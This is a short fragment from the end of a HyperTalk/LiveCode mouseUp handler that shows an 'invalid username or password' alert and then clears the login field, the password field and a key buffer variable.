  1251.    answer "Server Responded: username or password is invalid."
  1252.    put "" into field "l"
  1253.    put "" into field "p"
  1254.    put empty into keyBuff
  1255. end mouseUp